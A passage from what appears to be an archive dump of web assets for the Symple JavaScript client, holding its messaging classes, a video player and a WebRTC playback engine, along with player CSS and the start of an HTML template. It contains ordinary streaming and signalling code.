this.dispatch('error', error, message);
if (this.socket)
this.socket.disconnect();
},

onResponse: function(event, filters, fn, after) {
if (typeof this.listeners[event] == 'undefined')
this.listeners[event] = [];
if (typeof fn != 'undefined' && fn.constructor == Function)
this.listeners[event].push({
fn: fn,             // data callback function
after: after,       // after data callback function
filters: filters    // event filter object for matching response
});
},

clear: function(event, fn) {
Symple.log('symple:client: clearing callback', event);
if (typeof this.listeners[event] != 'undefined') {
for (var i = 0; i < this.listeners[event].length; i++) {
if (this.listeners[event][i].fn === fn &&
String(this.listeners[event][i].fn) == String(fn)) {
this.listeners[event].splice(i, 1);
Symple.log('symple:client: cleared callback', event);
}
}
}
},

// Extended dispatch function to handle filtered message response
// callbacks first, and then standard events.
dispatch: function() {
if (!this.dispatchResponse.apply(this, arguments)) {
this._super.apply(this, arguments);
}
},

// Dispatch function for handling filtered message response callbacks.
dispatchResponse: function() {
var event = arguments[0];
var data = Array.prototype.slice.call(arguments, 1);
if (typeof this.listeners[event] != 'undefined') {
for (var i = 0; i < this.listeners[event].length; i++) {
if (typeof this.listeners[event][i] == 'object' &&
this.listeners[event][i].filters != 'undefined' &&
Symple.match(this.listeners[event][i].filters, data[0])) {
this.listeners[event][i].fn.apply(this, data);
if (this.listeners[event][i].after != 'undefined') {
this.listeners[event][i].after.apply(this, data);
}
return true;
}
}
}
return false;
}

// getPeers: function(fn) {
//     self = this;
//     this.socket.emit('peers', function(res) {
//         Symple.log('Peers: ', res);
//         if (typeof(res) != 'object')
//             for (var peer in res)
//                 self.roster.update(peer);
//         if (fn)
//             fn(res);
//     });
// }
});


// -----------------------------------------------------------------------------
// Symple Roster
//
Symple.Roster = Symple.Manager.extend({
init: function(client) {
this._super();
this.client = client;
},

// Add a peer object to the roster
add: function(peer) {
Symple.log('symple:roster: adding', peer);
if (!peer || !peer.id || !peer.user) // || !peer.group
throw 'Cannot add invalid peer'
this._super(peer);
this.client.dispatch('addPeer', peer);
},

// Remove the peer matching an ID or address string: user|id
remove: function(id) {
id = Symple.parseAddress(id).id || id;
var peer = this._super(id);
Symple.log('symple:roster: removing', id, peer);
if (peer)
this.client.dispatch('removePeer', peer);
return peer;
},

// Get the peer matching an ID or address string: user|id
get: function(id) {

// Handle IDs
peer = this._super(id); // id = Symple.parseIDFromAddress(id) || id;
if (peer)
return peer;

// Handle address strings
return this.findOne(Symple.parseAddress(id));
},

update: function(data) {
if (!data || !data.id)
return;
var peer = this.get(data.id);
if (peer)
for (var key in data)
peer[key] = data[key];
else
this.add(data);
}

// Get the peer matching an address string: user|id
// getForAddr: function(addr) {
//    var o = Symple.parseAddress(addr);
//    if (o && o.id)
//        return this.get(o.id);
//    return null;
// }
});


// -----------------------------------------------------------------------------
// Helpers
//
Symple.parseAddress = function(str) {
var addr = {},
arr = str.split("|")

if (arr.length > 0) // no id
addr.user = arr[0];
if (arr.length > 1) // has id
addr.id = arr[1];

return addr;
}

Symple.buildAddress = function(peer) {
return (peer.user ? (peer.user + '|') : '') +
(peer.id ? peer.id : '');
}


// -----------------------------------------------------------------------------
// Message
//
Symple.Message = function(json) {
if (typeof(json) == 'object')
this.fromJSON(json);
this.type = "message";
}

Symple.Message.prototype = {
fromJSON: function(json) {
for (var key in json)
this[key] = json[key];
},

valid: function() {
return this['id']
&& this['from'];
}
};


// -----------------------------------------------------------------------------
// Command
//
Symple.Command = function(json) {
if (typeof(json) == 'object')
this.fromJSON(json);
this.type = "command";
}

Symple.Command.prototype = {
getData: function(name) {
return this['data'] ? this['data'][name] : null;
},

params: function() {
return this['node'].split(':');
},

param: function(n) {
return this.params()[n-1];
},

matches: function(xuser) {
xparams = xuser.split(':');

// No match if x params are greater than ours.
if (xparams.length > this.params().length)
return false;

for (var i = 0; i < xparams.length; i++) {

// Wildcard * matches everything until next parameter.
if (xparams[i] == "*")
continue;
if (xparams[i] != this.params()[i])
return false;
}

return true;
},

fromJSON: function(json) {
for (var key in json)
this[key] = json[key];
},

valid: function() {
return this['id']
&& this['from']
&& this['node'];
}
};


// -----------------------------------------------------------------------------
// Presence
//
Symple.Presence = function(json) {
if (typeof(json) == 'object')
this.fromJSON(json);
this.type = "presence";
}

Symple.Presence.prototype = {
fromJSON: function(json) {
for (var key in json)
this[key] = json[key];
},

valid: function() {
return this['id']
&& this['from'];
}
};


// -----------------------------------------------------------------------------
// Event
//
Symple.Event = function(json) {
if (typeof(json) == 'object')
this.fromJSON(json);
this.type = "event";
}

Symple.Event.prototype = {
fromJSON: function(json) {
for (var key in json)
this[key] = json[key];
},

valid: function() {
return this['id']
&& this['from']
&& this.name;
}
};
.webrtc\assets\symple.js%Rٰ// -----------------------------------------------------------------------------
// Symple JavaScript Client
//
var Symple = {
// Version
VERSION: "0.9.0",

// Return an array of nested objects matching
// the given key/value strings.
filterObject: function(obj, key, value) { // (Object[, String, String])
var r = []
for (var k in obj) {
if (obj.hasOwnProperty(k)) {
var v = obj[k];
if ((!key || k == key) &&
(!value || v == value)) {
r.push(obj)
}
else if (typeof v === 'object') {
var a = Symple.filterObject(v, key, value);
if (a) r = r.concat(a);
}
}
}
return r;
},

// Delete nested objects with properties
// that match the given key/value strings.
deleteNested: function(obj, key, value) { // (Object[, String, String])
for (var k in obj) {
var v = obj[k];
if ((!key || k == key) &&
(!value || v == value)) {
delete obj[k];
}
else if (typeof v === 'object')
Symple.deleteNested(v, key);
}
},

// Count nested object properties which
// match the given key/value strings.
countNested: function(obj, key, value, count) {
if (count === undefined) count = 0;
for (var k in obj) {
if (obj.hasOwnProperty(k)) {
var v = obj[k];
if ((!key || k == key) &&
(!value || v == value)) {
count++;
}
else if (typeof(v) === 'object') {
//else if (v instanceof Object) {
count = Symple.countNested(v, key, value, count);
}
}
}
return count;
},

// Traverse an objects nested properties
traverse: function(obj, fn) { // (Object, Function)
for (var k in obj) {
if (obj.hasOwnProperty(k)) {
var v = obj[k];
fn(k, v);
if (typeof v === 'object')
Symple.traverse(v, fn);
}
}
},

// Generate a random string
randomString: function(n) {
return Math.random().toString(36).slice(2) //Math.random().toString(36).substring(n || 7);
},

// Recursively merge object properties of r into l
merge: function(l, r) { // (Object, Object)
for (var p in r) {
try {
// Property in destination object set; update its value.
//if (typeof r[p] == "object") {
if (r[p].constructor == Object) {
l[p] = merge(l[p], r[p]);
} else {
l[p] = r[p];
}
} catch(e) {
// Property in destination object not set; 
// create it and set its value.
l[p] = r[p];
}
}
return l;
},

// Object extend functionality
extend: function() {   
var process = function(destination, source) {   
for (var key in source) {
if (hasOwnProperty.call(source, key)) {
destination[key] = source[key];
}
}
return destination;
};
var result = arguments[0];
for(var i=1; i<arguments.length; i++) {
result = process(result, arguments[i]);
}
return result;
},

// Run a vendor prefixed method from W3C standard method.
runVendorMethod: function(obj, method) {      
var p = 0, m, t, pfx = ["webkit", "moz", "ms", "o", ""];
while (p < pfx.length && !obj[m]) {
m = method;
if (pfx[p] == "") {
m = m.substr(0,1).toLowerCase() + m.substr(1);
}
m = pfx[p] + m;
t = typeof obj[m];
if (t != "undefined") {
pfx = [pfx[p]];
return (t == "function" ? obj[m]() : obj[m]);
}
p++;
}
},

//
// Date parseing for ISO 8601
// Based on https://github.com/csnover/js-iso8601
//
// Parses dates like:
// 2001-02-03T04:05:06.007+06:30
// 2001-02-03T04:05:06.007Z
// 2001-02-03T04:05:06Z
//
parseISODate: function (date) { // (String)

// ISO8601 dates were introduced with ECMAScript v5, 
// try to parse it natively first...
var timestamp = Date.parse(date)
if (isNaN(timestamp)) {
var struct,
minutesOffset = 0,
numericKeys = [ 1, 4, 5, 6, 7, 10, 11 ];

// ES5 §15.9.4.2 states that the string should attempt to be parsed as a Date
// Time String Format string before falling back to any implementation-specific
// date parsing, so that's what we do, even if native implementations could be faster
//
//              1 YYYY                2 MM       3 DD           4 HH    5 mm       6 ss        7 msec        8 Z 9 ±    10 tzHH    11 tzmm
if ((struct = /^(\d{4}|[+\-]\d{6})(?:-(\d{2})(?:-(\d{2}))?)?(?:T(\d{2}):(\d{2})(?::(\d{2})(?:\.(\d{3}))?)?(?:(Z)|([+\-])(\d{2})(?::(\d{2}))?)?)?$/.exec(date))) {
// Avoid NaN timestamps caused by "undefined" values being passed to Date.UTC
for (var i = 0, k; (k = numericKeys[i]); ++i)
struct[k] = +struct[k] || 0;

// Allow undefined days and months
struct[2] = (+struct[2] || 1) - 1;
struct[3] = +struct[3] || 1;

if (struct[8] !== 'Z' && struct[9] !== undefined) {
minutesOffset = struct[10] * 60 + struct[11];
if (struct[9] === '+')
minutesOffset = 0 - minutesOffset;
}

timestamp = Date.UTC(struct[1], struct[2], struct[3], struct[4], struct[5] + minutesOffset, struct[6], struct[7]);
}
}

return new Date(timestamp);
},

isMobileDevice: function() {
return 'ontouchstart' in document.documentElement;
},    

// Returns the current iOS version, or false if not iOS
iOSVersion: function(l, r) {
return parseFloat(('' + (/CPU.*OS ([0-9_]{1,5})|(CPU like).*AppleWebKit.*Mobile/i.exec(navigator.userAgent) || [0,''])[1])
.replace('undefined', '3_2').replace('_', '.').replace('_', '')) || false;
},

// Match the object properties of l with r
match: function(l, r) { // (Object, Object)
var res = true;
for (var prop in l) {
if (!l.hasOwnProperty(prop) ||
!r.hasOwnProperty(prop) ||
r[prop] != l[prop]) {
res = false;
break;
}
}
return res
},

formatTime: function(date) {        
function pad(n) { return n < 10 ? ('0' + n) : n }
return pad(date.getHours()).toString() + ':' +
pad(date.getMinutes()).toString() + ':' +
pad(date.getSeconds()).toString() + ' ' +
pad(date.getDate()).toString() + '/' +
pad(date.getMonth()).toString();
},

// Debug logger
log: function () {
if (typeof console != "undefined" && 
typeof console.log != "undefined") {
console.log.apply(console, arguments);
}
}
};


// -----------------------------------------------------------------------------
// Symple OOP Base Class
//    
(function(Symple) {
var initializing = false, 
fnTest = /xyz/.test(function(){xyz;}) ? /\b_super\b/ : /.*/;

// The base Class implementation (does nothing)
Symple.Class = function(){};

// Create a new Class that inherits from this class
Symple.Class.extend = function(prop) {
var _super = this.prototype;

// Instantiate a base class (but only create the instance,
// don't run the init constructor)
initializing = true;
var prototype = new this();
initializing = false;

// Copy the properties over onto the new prototype
for (var name in prop) {
// Check if we're overwriting an existing function
prototype[name] = typeof prop[name] == "function" &&
typeof _super[name] == "function" && fnTest.test(prop[name]) ?
(function(name, fn){
return function() {
var tmp = this._super;

// Add a new ._super() method that is the same method
// but on the super-class
this._super = _super[name];

// The method only need to be bound temporarily, so we
// remove it when we're done executing
var ret = fn.apply(this, arguments);        
this._super = tmp;

return ret;
};
})(name, prop[name]) :
prop[name];
}

// The dummy class constructor
function Class() {
// All construction is actually done in the init method
if (!initializing && this.init)
this.init.apply(this, arguments);
}

// Populate our constructed prototype object
Class.prototype = prototype;

// Enforce the constructor to be what we expect
Class.prototype.constructor = Class;

// And make this class extendable
Class.extend = arguments.callee;

return Class;
};
})(Symple);


// -----------------------------------------------------------------------------
// Dispatcher
//
Symple.Dispatcher = Symple.Class.extend({
init: function() {      
this.listeners = {};
},

on: function(event, fn) {
if (typeof this.listeners[event] == 'undefined')
this.listeners[event] = [];
if (typeof fn != 'undefined' && fn.constructor == Function)
this.listeners[event].push(fn);
},

clear: function(event, fn) {
if (typeof this.listeners[event] != 'undefined') {
for (var i = 0; i < this.listeners[event].length; i++) {
if (this.listeners[event][i] == fn) {
this.listeners[event].splice(i, 1);
}
}
}
},

dispatch: function() {
//Symple.log('Dispatching: ', arguments);
var event = arguments[0];
var args = Array.prototype.slice.call(arguments, 1);
if (typeof this.listeners[event] != 'undefined') {
for (var i = 0; i < this.listeners[event].length; i++) {
//Symple.log('Dispatching: Function: ', this.listeners[event][i]);
if (this.listeners[event][i].constructor == Function)
this.listeners[event][i].apply(this, args);
}
}
}
});


// -----------------------------------------------------------------------------
// Manager
//
Symple.Manager = Symple.Class.extend({
init: function(options) {    
this.options = options || {};
this.key = this.options.key || 'id';
this.store = [];
},

add: function(value) {
this.store.push(value);
},

remove: function(key) {
var res = null;
for (var i = 0; i < this.store.length; i++) {
if (this.store[i][this.key] == key) {
res = this.store[i];
this.store.splice(i, 1);
break;
}
}
return res;
},

get: function(key) {
for (var i = 0; i < this.store.length; i++) {
if (this.store[i][this.key] == key) {
return this.store[i];
}
}
return null;
},

find: function(params) {
var res = [];
for (var i = 0; i < this.store.length; i++) {
if (Symple.match(params, this.store[i])) {
res.push(this.store[i])
}
}
return res;
},

findOne: function(params) {
var res = this.find(params);
return res.length ? res[0] : undefined;
},

last: function() {
return this.store[this.store.length - 1];
},

size: function() {
return this.store.length;
}
});
?R>webrtc\assets\symple.player.cssu/*
    Simple Player CSS

    Layering is in the following order from bottom to top:
    screen, status, message, loading, controls
*/

.symple-player:-webkit-full-screen,
.symple-player.fullscreen {
    width: 100%;
    height: 100%;
}

.symple-player-screen {
    /* position: relative; cannot be absolute as the player resizes with the screen
    width: 100%;
    height: 100%; */
    text-align: center;
    margin: 0 auto; /* center the screen when fixed width */
    z-index: 0;

    position: absolute;
    top: 0;
    left: 0;
    right: 0;
    bottom: 0;
}

.symple-player-status {
    position: absolute;
    top: 10px;
    left: 10px;
    height: 0px;
    text-shadow: none;
    text-align: left;
    z-index: 1;
}

.symple-player-message {
    position: absolute;
    display: table;
    width: 100%;
    height: 100%;
    z-index: 2;
}

.symple-player-message p {
    display: table-cell;
    vertical-align: middle;
    text-align: center;
}

.symple-player-loading {
    display: none;
    position: absolute;
    top: 0;
    left: 0;
    right: 0;
    bottom: 0;
    z-index: 3;
}

.symple-player-controls {
    position: absolute;
    bottom: 0;
    left: 0;
    right: 0;
    padding-bottom: 25px;
    text-align: center;
    z-index: 4;
}

.symple-player-screen video,
.symple-player-screen object,
.symple-player-screen embed,
.symple-player-screen img {
    /* height: 100%; 0 height unless absolute */
    /* width: 100%; skewed images */
    width: 100%;
    height: 100%;
    object-fit: contain;
}


/*
    Style
*/

.symple-player {
    color: #ccc;
    text-align: center;
    background: #000;
    position: relative;
}
.symple-player a {
    color: #999;
}


/*
    States
    none, loading, loading, playing, paused, stopped, error
*/

.symple-player.state-loading .symple-player-loading {
    display: block;
}
15JG<webrtc\assets\symple.player.js.Symple.Media = {
engines: {}, // Object containing references for candidate selection

registerEngine: function(engine) {
Symple.log('Register media engine: ', engine)
if (!engine.name || typeof engine.preference == 'undefined' || typeof engine.support == 'undefined') {
Symple.log('symple:media: cannot register invalid engine', engine)
return false;
}
this.engines[engine.id] = engine;
return true;
},

hasEngine: function(id) {
return typeof this.engines[id] == 'object';
},

// Checks support for a given engine
supportsEngine: function(id) {
// Check support for engine
return !!(this.hasEngine(id) && this.engines[id].support);
},

// Checks support for a given format
supportsFormat: function(format) {
// Check support for engine
return !!preferredEngine(format);
},

// Returns a list of compatible engines sorted by preference
// The optional format argument further filters by engines
// which don't support the given media format.
compatibleEngines: function(format) {
var arr = [], engine;
// Reject non supported or disabled
for (var item in this.engines) {
engine = this.engines[item];
if (engine.preference == 0)
continue;
Symple.log('symple:media: supported', engine.name, engine.support)
if (engine.support == true)
arr.push(engine)
}
// Sort by preference
arr.sort(function (a, b) {
if (a.preference < b.preference) return 1;
if (a.preference > b.preference) return -1;
});
return arr
},

// Returns the highest preference compatible engine
// The optional format argument further filters by engines
// which don't support the given media format.
preferredCompatibleEngine: function(format) {
var arr = this.compatibleEngines(format), engine;
engine = arr.length ? arr[0] : null;
Symple.log('symple:media: preferred engine', engine);
return engine;
},

// Returns the optimal video resolution for the current device
// TODO: Different aspect ratios
getOptimalVideoResolution: function() {
var w = $(window).width();
var width = w > 800 ?
800 : w > 640 ?
640 : w > 480 ?
400 : w > 320 ?
320 : w > 240 ?
240 : w > 160 ?
160 : w > 128 ?
128 : 96;
var height = width * 0.75;
return [width, height];
},

buildURL: function(params) {
var query = [], url, addr = params.address;
url = addr.scheme + '://' + addr.host + ':' + addr.port + (addr.uri ? addr.uri : '/');
for (var p in params) {
if (p == 'address')
continue;
query.push(encodeURIComponent(p) + "=" + encodeURIComponent(params[p]));
}
query.push('rand=' + Math.random());
url += '?';
url += query.join("&");
return url;

},

// Rescales video dimensions maintaining perspective
// TODO: Different aspect ratios
rescaleVideo: function(srcW, srcH, maxW, maxH) {
//Symple.log('Symple Player: Rescale Video: ', srcW, srcH, maxW, maxH);
var maxRatio = maxW / maxH;
var srcRatio = 1.33; //srcW / srcH;
if (srcRatio < maxRatio) {
srcH = maxH;
srcW = srcH * srcRatio;
} else {
srcW = maxW;
srcH = srcW / srcRatio;
}
return [srcW, srcH];
},

// Basic checking for remote ICE style streaming candidates
// TODO: Latency checks and best candidate switching
checkCandidate: function(url, fn) {
Symple.log('symple:media: checking candidate: ', url);

var xhr;
if (window.XMLHttpRequest) {
xhr = new XMLHttpRequest();
} else if (window.ActiveXObject) {
xhr = new ActiveXObject("Microsoft.XMLHTTP");
} else {
fn(url, false);
return;
}

xhr.onreadystatechange = function() {
if (xhr.readyState == 2) {
if (fn) {
Symple.log('symple:media: candidate result: ', xhr.readyState, xhr.status);
fn(url, xhr.status == 200);
fn = null;

// Safari on windows crashes when abort is called from inside
// the onreadystatechange callback.
setTimeout(function() {
xhr.abort();
}, 0);
}
}
else if (xhr.readyState == 4/* && xhr.status != 0*/) {
if (fn) {
Symple.log('symple:media: candidate result: ', xhr.readyState, xhr.status);
fn(url, /*xhr.status == 200*/true);
fn = null;
}
}
};
xhr.open('GET', url, true);
xhr.send(null);
},
};

// ----------------------------------------------------------------------------
//  Symple Player
//
//  Online video streaming for everyone
//  Requires jQuery
//
Symple.Player = Symple.Class.extend({
init: function(options) {
this.options = Symple.extend({ // $.extend
format:         'MJPEG',      // The media format to use (MJPEG, FLV, Speex, ...)
engine:         undefined,    // Engine class name, can be specified or auto detected

htmlRoot:       '/javascripts/symple',
element:        '.symple-player:first',
fullscreenElement: undefined,

// Callbacks
onCommand:       function(player, cmd) { },
onStateChange:   function(player, state) { },

// Markup
template: '\
<div class="symple-player">\
<div class="symple-player-message"></div>\
<div class="symple-player-status"></div>\
<div class="symple-player-loading"></div>\
<div class="symple-player-screen"></div>\
<div class="symple-player-controls">\
<a class="play-btn" rel="play" href="#">Play</a>\
<a class="stop-btn" rel="stop" href="#">Stop</a>\
<a class="fullscreen-btn" rel="fullscreen" href="#">Fullscreen</a>\
</div>\
</div>'

}, options);

this.element = $(this.options.element);
if (!this.element.hasClass('symple-player')) {
this.element.html(this.options.template);
this.element = this.element.children('.symple-player:first');
}
if (!this.element.length)
throw 'Player element not found';

this.screen = this.element.find('.symple-player-screen');
if (!this.screen.length)
throw 'Player screen element not found';

// Depreciated: Screen is always 100% unless speified otherwise via CSS
// if (this.options.screenWidth)
//    this.screen.width(this.options.screenWidth);
// if (this.options.screenHeight)
//    this.screen.height(this.options.screenHeight);

this.message = this.element.find('.symple-player-message')
if (!this.message.length)
throw 'Player message element not found';

// Try to choose the best engine if none was given
if (typeof this.options.engine  == 'undefined') {
var engine = Symple.Media.preferredCompatibleEngine(this.options.format);
if (engine)
this.options.engine = engine.id;
}

this.bindEvents();
this.playing = false;

// this.setState('stopped');
// var self = this;
// $(window).resize(function() {
//    self.refresh();
// });
},

setup: function() {
var id = this.options.engine;

// Ensure the engine is configured
if (!id)
throw "Streaming engine not configured. Please set 'options.engine'";

// Ensure the engine exists
if (!Symple.Media.hasEngine(id))
throw "Streaming engine not available: " + id;
if (typeof Symple.Player.Engine[id] == 'undefined')
throw "Streaming engine not found: " + id;

// Ensure the engine is supported
if (!Symple.Media.supportsEngine(id))
throw "Streaming engine not supported: " + id;

// Instantiate the engine
this.engine = new Symple.Player.Engine[id](this);
this.engine.setup();

this.element.addClass('engine-' + id.toLowerCase())
},

//
// Player Controls
//
play: function(params) {
Symple.log('symple:player: play', params)
try {
if (!this.engine)
this.setup();

if (this.state != 'playing' //&&
// The player may be set to loading state by the
// outside application before play is called.
//this.state != 'loading'
) {
this.setState('loading');
this.engine.play(params); // engine updates state to playing
}
} catch (e) {
this.setState('error');
this.displayMessage('error', e)
throw e;
}
},

stop: function() {
Symple.log('symple:player: stop')
if (this.state != 'stopped') {
if (this.engine)
this.engine.stop(); // engine updates state to stopped
}
},

destroy: function() {
if (this.engine)
this.engine.destroy();
this.element.remove();
},

mute: function(flag) {
flag = !!flag;
Symple.log('symple:player: mute', flag);

if (this.engine &&
this.engine.mute)
this.engine.mute(flag);
this.element[flag ? 'addClass' : 'removeClass']('muted');
},

setState: function(state, message) {
Symple.log('symple:player: set state', this.state, '=>', state);
if (this.state == state)
return;

this.state = state;
this.displayStatus(null);
this.playing = state == 'playing';
if (message)
this.displayMessage(state == 'error' ? 'error' : 'info', message);
else
this.displayMessage(null);
this.element.removeClass('state-stopped state-loading state-playing state-paused state-error');
this.element.addClass('state-' + state);
this.options.onStateChange(this, state, message);
},

//
// Helpers
//

displayStatus: function(data) {
this.element.find('.symple-player-status').html(data ? data : '');
},

// Display an overlayed player message.
// Type may be one of: error, warning, info
displayMessage: function(type, message) {
Symple.log('symple:player: display message', type, message)
if (message) {
this.message.html('<p class="' + type + '-message">' + message + '</p>').show();
}
else {
this.message.html('').hide();
}
},

bindEvents: function() {
var self = this;
this.element.find('.symple-player-controls a').unbind().bind('click tap', function() {
self.sendCommand(this.rel, $(this));
return false;
})
},

sendCommand: function(cmd, e) {
if (!this.options.onCommand ||
!this.options.onCommand(this, cmd, e)) {

// If there is no command callback function or the callback returns
// false then we process these default behaviours.
switch(cmd) {
case 'play':
this.play();
break;
case 'stop':
this.stop();
break;
case 'mute':
this.mute(true);
break;
case 'unmute':
this.mute(false);
break;
case 'fullscreen':
this.toggleFullScreen();
break;
}
}
},

getButton: function(cmd) {
return this.element.find('.symple-player-controls [rel="' + cmd + '"]');
},

// TODO: Toggle actual player element
toggleFullScreen: function() {
// if (!document.fullscreenElement) {
//     document.documentElement.requestFullscreen();
// } else {
//     if (document.exitFullscreen) {
//         document.exitFullscreen();
//     }
// }
var fullscreenElement = $(this.options.fullscreenElement)[0] || this.element[0];
console.log(fullscreenElement)
if (Symple.runVendorMethod(document, "FullScreen") ||
Symple.runVendorMethod(document, "IsFullScreen")) {
Symple.runVendorMethod(document, "CancelFullScreen");
}
else {
Symple.runVendorMethod(fullscreenElement, "RequestFullScreen");
}
}
})


// -----------------------------------------------------------------------------
// Player Engine Interface
//
Symple.Player.Engine = Symple.Class.extend({
init: function(player) {
this.player = player;
this.fps = 0;
this.seq = 0;
},

support: function() { return true; },
setup: function() {},
destroy: function() {},
play: function(params) {
this.params = params || {};
if (!this.params.url && typeof(params.address) == 'object')
this.params.url = this.buildURL();
},
stop: function() {},
pause: function(flag) {},
mute: function(flag) {},
// refresh: function() {},

setState: function(state, message) {
this.player.setState(state, message);
},

setError: function(error) {
Symple.log('symple:player:engine: error', error);
this.setState('error', error);
},

onRemoteCandidate: function(candidate) {
Symple.log('symple:player:engine: remote candidates not supported.');
},

updateFPS: function() {
if (typeof this.prevTime == 'undefined')
this.prevTime = new Date().getTime();
if (this.seq > 0) {
var now = new Date().getTime();
this.delta = this.prevTime ? now - this.prevTime : 0;
this.fps = (1000.0 / this.delta).toFixed(3);
this.prevTime  = now;
}
this.seq++;
},

displayFPS: function() {
this.updateFPS();
this.player.displayStatus(this.delta + " ms (" + this.fps + " fps)");
},

buildURL: function() {
if (!this.params)
throw 'Streaming parameters not set';
if (!this.params.address)
this.params.address = this.player.options.address;
return Symple.Media.buildURL(this.params);
}
});
WJwebrtc\assets\symple.player.webrtc.js9// -----------------------------------------------------------------------------
// WebRTC Engine
//

window.RTCPeerConnection = window.mozRTCPeerConnection || window.webkitRTCPeerConnection;
window.RTCSessionDescription = window.mozRTCSessionDescription || window.RTCSessionDescription;
window.RTCIceCandidate = window.mozRTCIceCandidate || window.RTCIceCandidate;
window.URL = window.webkitURL || window.URL;
navigator.getUserMedia = navigator.getUserMedia || navigator.webkitGetUserMedia || navigator.mozGetUserMedia || navigator.msGetUserMedia;


Symple.Media.registerEngine({
id: 'WebRTC',
name: 'WebRTC Player',
formats: 'VP9, VP4, H.264, Opus',
preference: 100,
support: (function() {
return typeof RTCPeerConnection != 'undefined';
})()
});


Symple.Player.Engine.WebRTC = Symple.Player.Engine.extend({
init: function(player) {
Symple.log('symple:webrtc: init');
this._super(player);

this.rtcConfig = player.options.rtcConfig || {
iceServers: [
{ url: 'stun:stun.l.google.com:19302' }
]
}

this.rtcOptions = player.options.rtcOptions || {
optional: [
{ DtlsSrtpKeyAgreement: true } // required for FF <=> Chrome interop
]
}

// Specifies that this client will be the ICE initiator,
// and will be sending the initial SDP Offer.
this.initiator = player.options.initiator;

// The `MediaStreamConstraints` object to pass to `getUserMedia`
this.userMediaConstraints = player.options.userMediaConstraints || { 
audio: true, 
video: true
}

// Reference to the active local or remote media stream
this.activeStream = null;
},

setup: function() {
Symple.log('symple:webrtc: setup');

this._createPeerConnection();

if (typeof(this.video) == 'undefined') {
this.video = document.createElement('video');
this.video.autoplay = true;
this.player.screen.prepend(this.video);
}
},

destroy: function() {
Symple.log('symple:webrtc: destroy');

this.sendLocalSDP = null;
this.sendLocalCandidate = null;
this.activeStream = null; // TODO: Needs explicit close?

if (this.video) {
this.video.src = '';
this.video = null;
// Anything else required for video cleanup?
}

if (this.pc) {
this.pc.close();
this.pc = null;
// Anything else required for peer connection cleanup?
}
},

play: function(params) {
Symple.log('symple:webrtc: play', params);

// If there is an active stream then play it now.
if (this.activeStream) {
this.video.src = URL.createObjectURL(this.activeStream);
this.video.play();
this.setState('playing');
}

// Otherwise wait until ICE to complete before setting the 'playing' state.
else {

// If we are the ICE `initiator` then attempt to open the local video 
// device and send the SDP Offer to the peer.
if (this.initiator) {
Symple.log('symple:webrtc: initiating', this.userMediaConstraints);
var self = this;

// TODO: Support device enumeration.
navigator.getUserMedia(this.userMediaConstraints,
function (localStream) { // success

// Play the local video stream and create the SDP offer.
self.video.src = URL.createObjectURL(localStream);
self.pc.addStream(localStream);
self.pc.createOffer(
function(desc) { // success
Symple.log('symple:webrtc: offer', desc);
self._onLocalSDP(desc); 
},
function(err) { // error
Symple.log('symple:webrtc: offer failed', err);
});

// Store the active local stream
self.activeStream = localStream;
},
function(err) { // error
self.setError('getUserMedia() failed: ' + err);
});
}
}
},

stop: function() {
// NOTE: Stopping the player does not close the peer connection,
// only `destroy` does that. This enables us to resume playback 
// quickly and with minimal delay.


if (this.video) {
this.video.src = '';
// Do not nullify
}

// Close peer connection
// if (this.pc) {
//     this.pc.close();
//     this.pc = null;
// }

this.setState('stopped');
},

mute: function(flag) {
// Mute unless explicit false given
flag = flag === false ? false : true;

Symple.log('symple:webrtc: mute', flag);

if (this.video)
this.video.prop('muted', flag);
},

// Called when local SDP is ready to be sent to the peer.
sendLocalSDP: null, // new Function,

// Called when a local candidate is ready to be sent to the peer.
sendLocalCandidate: null, // new Function,

// Called when remote SDP is received from the peer.
recvRemoteSDP: function(desc) {
Symple.log('symple:webrtc: recv remote sdp', desc)
if (!desc || !desc.type || !desc.sdp)
throw 'Invalid remote SDP';

var self = this;
this.pc.setRemoteDescription(new RTCSessionDescription(desc),
function() {
Symple.log('symple:webrtc: sdp success');
},
function(message) {
console.error('symple:webrtc: sdp error', message);
self.setError('Cannot parse remote SDP offer');
}
);

if (desc.type == 'offer') {
self.pc.createAnswer(
function(answer) { // success
self._onLocalSDP(answer);
},
function() { // error
self.setError('Cannot create local SDP answer');
},
null // this.mediaConstraints
);
}
},

// Called when remote candidate is received from the peer.
recvRemoteCandidate: function(candidate) {
Symple.log('symple:webrtc: recv remote candiate', candidate);
if (!this.pc)
throw 'The peer connection is not initialized'; // call recvRemoteSDP first

this.pc.addIceCandidate(new RTCIceCandidate(candidate));
},

//
// Private methods
//

// Called when local SDP is ready to be sent to the peer.
_onLocalSDP: function(desc) {
try {
this.pc.setLocalDescription(desc);
this.sendLocalSDP(desc);
}
catch (e) {
Symple.log('symple:webrtc: failed to send local SDP', e);
}
},

// Create the RTCPeerConnection object.
_createPeerConnection: function() {
if (this.pc)
throw 'The peer connection is already initialized';

Symple.log('symple:webrtc: create peer connnection', this.rtcConfig, this.rtcOptions);

var self = this;
this.pc = new RTCPeerConnection(this.rtcConfig, this.rtcOptions);
this.pc.onicecandidate = function(event) {
if (event.candidate) {
Symple.log('symple:webrtc: candidate gathered', event.candidate);
self.sendLocalCandidate(event.candidate);
}
else {
Symple.log('symple:webrtc: candidate gathering complete');
}
};
this.pc.onaddstream = function(event) {
Symple.log('symple:webrtc: remote stream added', URL.createObjectURL(event.stream));

// Set the state to playing once candidates have completed gathering.
// This is the best we can do until ICE onstatechange is implemented.
self.setState('playing');

self.video.src = URL.createObjectURL(event.stream);
self.video.play();

// Store the active stream
self.activeStream = event.stream;
};
this.pc.onremovestream = function(event) {
Symple.log('symple:webrtc: remote stream removed', event);
self.video.stop();
self.video.src = '';
};

// NOTE: The following state events are still very unreliable.
// Hopefully when the spec is complete this will change, but until then
// we need to 'guess' the state.
// this.pc.onconnecting = function(event) { Symple.log('symple:webrtc: onconnecting:', event); };
// this.pc.onopen = function(event) { Symple.log('symple:webrtc: onopen:', event); };
// this.pc.onicechange = function(event) { Symple.log('symple:webrtc: onicechange :', event); };
// this.pc.onstatechange = function(event) { Symple.log('symple:webrtc: onstatechange :', event); };
}
});


//
// Helpers

Symple.Media.iceCandidateType = function(candidateSDP) {
if (candidateSDP.indexOf('typ relay') != -1)
return 'turn';
if (candidateSDP.indexOf('typ srflx') != -1)
return 'stun';
if (candidateSDP.indexOf('typ host') != -1)
return 'host';
return 'unknown';
}
|D+"webrtc\index.html2
_<?ratmpl?>
<?nocache?>
<html lang="en">
<head>
<?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
<?include "tooltip.inc"?>
<?include "passsave.inc"?>

<?
action "webrtcindex"
?>

